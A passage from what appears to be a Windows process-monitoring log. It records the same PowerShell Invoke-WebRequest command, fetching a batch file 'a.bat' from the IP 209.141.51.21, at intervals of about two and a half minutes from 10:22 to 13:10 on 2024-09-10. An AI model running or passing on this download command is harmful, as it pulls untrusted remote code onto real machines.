C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:22:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:24:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:25:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:27:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:27:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:29:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:30:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:32:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:34:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:35:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:37:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:37:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:39:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:40:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:42:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:42:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:44:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:45:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:47:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:47:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:49:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:50:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:52:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:52:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:54:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:55:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:57:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:57:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:59:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:00:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:02:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:02:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:04:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:05:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:07:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:07:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:10:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:12:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:12:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:15:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:17:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:17:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:20:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:22:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:22:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:24:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:25:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:27:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:27:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:29:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:30:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:32:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:32:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:34:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:35:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:37:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:37:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:39:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:40:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:42:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:42:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:44:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:45:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:47:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:47:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:49:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:50:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:52:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:52:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:54:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:55:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:57:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:57:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 11:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:00:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:02:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:02:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:04:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:05:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:07:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:07:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:10:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:10:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:12:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:12:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:15:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:15:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:17:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:17:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:20:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:20:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:22:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:22:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:25:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:25:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:27:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:27:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:30:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:30:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:32:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:32:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:35:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:35:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:37:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:38:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:40:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:40:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:42:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:43:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:45:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:45:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:47:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:48:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:50:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:50:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:52:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:53:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:55:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:55:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:57:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 12:58:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:00:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:00:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:02:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:03:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:05:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:05:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:07:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:08:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:10:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 13:10:35 NOTIFY: PROCESS 